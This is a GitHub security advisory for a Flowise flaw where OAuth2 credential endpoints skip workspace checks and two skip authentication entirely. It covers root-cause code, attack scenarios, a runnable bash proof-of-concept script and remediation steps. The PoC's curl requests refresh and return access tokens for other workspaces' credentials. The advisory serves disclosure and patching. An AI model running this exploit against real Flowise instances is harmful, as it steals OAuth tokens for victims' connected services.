Skip to content

Flowise: Cross-Workspace OAuth2 Credential Metadata Leak

High severity GitHub Reviewed Published Jul 29, 2026 in FlowiseAI/Flowise • Updated Aug 4, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.2

Patched versions

3.1.3

Description

Summary

Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:

  1. Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
  2. Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
  3. Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.

Root Cause

Vulnerable code: no workspace scoping

All three OAuth2 handlers query the Credential table by id only:

packages/server/src/routes/oauth2/index.ts:80-82 (authorize)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:183-185 (callback)

const credential = await credentialRepository.findOneBy({
    id: state as string
    // Missing: workspaceId filter
})

packages/server/src/routes/oauth2/index.ts:314-316 (refresh)

const credential = await credentialRepository.findOneBy({
    id: credentialId
    // Missing: workspaceId filter
})

Correct pattern (same codebase)

The standard credential service correctly enforces workspace isolation:

packages/server/src/services/credentials/index.ts:130-132

const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
    id: credentialId,
    workspaceId: workspaceId  // <-- Workspace scoping present
})

Authentication bypass via whitelist

packages/server/src/utils/constants.ts:40-41

export const WHITELIST_URLS = [
    // ...
    '/api/v1/oauth2-credential/callback',   // line 40
    '/api/v1/oauth2-credential/refresh',     // line 41
    // ...
]

packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth:

const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
    next()  // No JWT verification, no API key check
}

Attack Scenarios

Scenario A: Cross-Workspace Credential Metadata Leak

An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client_id, scope, and redirect_uri.

POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>
Cookie: connect.sid=<ATTACKER_SESSION>

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
  "redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}

Scenario B: Unauthenticated Token Injection via Forged Callback

The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.

GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>
(No authentication required)

The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):

await credentialRepository.update(credential.id, {
    encryptedData,      // Contains attacker-controlled token data
    updatedDate: new Date()
})

Scenario C: Unauthenticated Token Refresh

An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh_token, exchanges it at the accessTokenUrl, and returns fresh token metadata.

POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>
(No authentication required)

Response:

{
  "success": true,
  "credentialId": "<VICTIM_CREDENTIAL_UUID>",
  "tokenInfo": {
    "access_token": "new-access-token-value",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T12:00:00.000Z"
  }
}

The fresh access_token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.


Proof of Concept

Prerequisites

  • A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
  • An OAuth2 credential configured in Workspace B (the victim)
  • The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)

Step 1 — Confirm unauthenticated refresh endpoint is reachable

# No cookies, no Bearer token — completely unauthenticated
FLOWISE_URL="https://TARGET_INSTANCE"
VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json"

Expected result if credential exists and has a refresh token:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "tokenInfo": {
    "access_token": "<VALID_ACCESS_TOKEN>",
    "token_type": "Bearer",
    "expires_in": 3600,
    "has_new_refresh_token": false,
    "expires_at": "2026-04-13T..."
  }
}

Expected result if credential not found:

{
  "success": false,
  "message": "Credential not found"
}

Step 2 — Cross-workspace authorize (requires any valid session)

# Attacker is authenticated in Workspace A
# They target a credential UUID from Workspace B
ATTACKER_COOKIE="connect.sid=s%3A..."

curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
  -H "Cookie: ${ATTACKER_COOKIE}" \
  -H "Content-Type: application/json"

Expected result — victim credential's OAuth2 config is leaked:

{
  "success": true,
  "credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...",
  "redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback"
}

Step 3 — Forge callback to inject attacker-controlled tokens

# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
# OR intercepts a legitimate flow.
# The state parameter is the victim credential UUID.

curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"

The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.

Full automated PoC script

#!/usr/bin/env bash
set -euo pipefail

# ---- Configuration ----
FLOWISE_URL="${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
VICTIM_CRED_ID="${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
ATTACKER_COOKIE="${3:-}"

echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target:     ${FLOWISE_URL}"
echo "Credential: ${VICTIM_CRED_ID}"
echo ""

# --- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
  "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
  -H "Content-Type: application/json")

HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1)
BODY=$(echo "${REFRESH_RESP}" | head -n -1)

if [ "${HTTP_CODE}" = "200" ]; then
  echo "[!] VULNERABLE — Unauthenticated token refresh succeeded"
  echo "    Response: ${BODY}" | head -c 500
  echo ""
elif echo "${BODY}" | grep -q "Credential not found"; then
  echo "[*] Credential not found (UUID may be invalid)"
elif echo "${BODY}" | grep -q "Missing required"; then
  echo "[*] Credential exists but has no refresh_token (no prior OAuth2 flow)"
  echo "    This still confirms the endpoint is reachable without auth"
else
  echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
fi
echo ""

# --- Attack Vector 2: Cross-workspace authorize (needs session) ---
if [ -n "${ATTACKER_COOKIE}" ]; then
  echo "[2] Attempting cross-workspace authorize..."
  AUTH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
    "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
    -H "Cookie: ${ATTACKER_COOKIE}" \
    -H "Content-Type: application/json")

  HTTP_CODE=$(echo "${AUTH_RESP}" | tail -1)
  BODY=$(echo "${AUTH_RESP}" | head -n -1)

  if [ "${HTTP_CODE}" = "200" ]; then
    echo "[!] VULNERABLE — Cross-workspace credential access confirmed"
    echo "    Leaked authorization URL:"
    echo "${BODY}" | python3 -m json.tool 2>/dev/null || echo "    ${BODY}" | head -c 500
  else
    echo "[*] HTTP ${HTTP_CODE}: ${BODY}" | head -c 300
  fi
else
  echo "[2] Skipped cross-workspace authorize (no attacker cookie provided)"
fi
echo ""

# --- Attack Vector 3: Confirm callback is unauthenticated ---
echo "[3] Confirming callback endpoint is unauthenticated..."
CALLBACK_RESP=$(curl -s -w "\n%{http_code}" \
  "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=poc_test_code&state=${VICTIM_CRED_ID}")

HTTP_CODE=$(echo "${CALLBACK_RESP}" | tail -1)

# Any response other than 401/403 confirms the endpoint is reachable without auth.
# A 400 with "token_exchange_failed" means the endpoint processed the request
# (tried to exchange the code) — it just failed at the external provider.
if [ "${HTTP_CODE}" = "401" ] || [ "${HTTP_CODE}" = "403" ]; then
  echo "[*] Callback endpoint returned ${HTTP_CODE} — auth is enforced (NOT vulnerable)"
else
  echo "[!] VULNERABLE — Callback endpoint reachable without auth (HTTP ${HTTP_CODE})"
  echo "    The server attempted to process the OAuth2 callback."
  echo "    With a valid authorization code, tokens would be written to the credential."
fi

echo ""
echo "=== PoC Complete ==="

Impact

Vector Auth Required Impact
Credential metadata leak via /authorize Low (any session) Exposes client_id, scope, redirect_uri from any workspace's credential
Token injection via /callback None Overwrite any credential's stored OAuth2 tokens with attacker-controlled values
Token theft via /refresh None Obtain a fresh access_token for any credential's connected service (Microsoft 365, Google, etc.)

Chained impact: An attacker who obtains a single credential UUID (via IDOR, log exposure, or brute-force of UUIDs) can silently refresh and steal OAuth2 access tokens for external services like Microsoft Graph, Google Workspace, or any custom OAuth2 provider — without any authentication to the Flowise instance.


Affected Components

File Lines Issue
packages/server/src/routes/oauth2/index.ts 80-82 findOneBy({ id }) — no workspaceId
packages/server/src/routes/oauth2/index.ts 183-185 findOneBy({ id: state }) — no workspaceId
packages/server/src/routes/oauth2/index.ts 314-316 findOneBy({ id }) — no workspaceId
packages/server/src/utils/constants.ts 40 /callback whitelisted from auth
packages/server/src/utils/constants.ts 41 /refresh whitelisted from auth

Remediation

  1. Add workspaceId to all credential lookups in the OAuth2 routes, matching the pattern already used in services/credentials/index.ts:130-132:
// Before (vulnerable)
const credential = await credentialRepository.findOneBy({ id: credentialId })

// After (fixed)
const credential = await credentialRepository.findOneBy({
    id: credentialId,
    workspaceId: req.user?.activeWorkspaceId
})
  1. Remove /callback and /refresh from WHITELIST_URLS or implement a signed, time-limited state token that authenticates the callback without a session.

  2. Replace the state parameter with a cryptographically random nonce bound to the user's session (see also Finding 8).

  3. Do not return access_token in the /refresh response body. The token should only be stored server-side in the encrypted credential data, never sent to the caller.


References

@igor-magun-wd igor-magun-wd published to FlowiseAI/Flowise Jul 29, 2026
Published to the GitHub Advisory Database Aug 4, 2026
Reviewed Aug 4, 2026
Last updated Aug 4, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(21st percentile)

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

CVE ID

CVE-2026-70474

GHSA ID

GHSA-wch5-xp77-fxg4

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.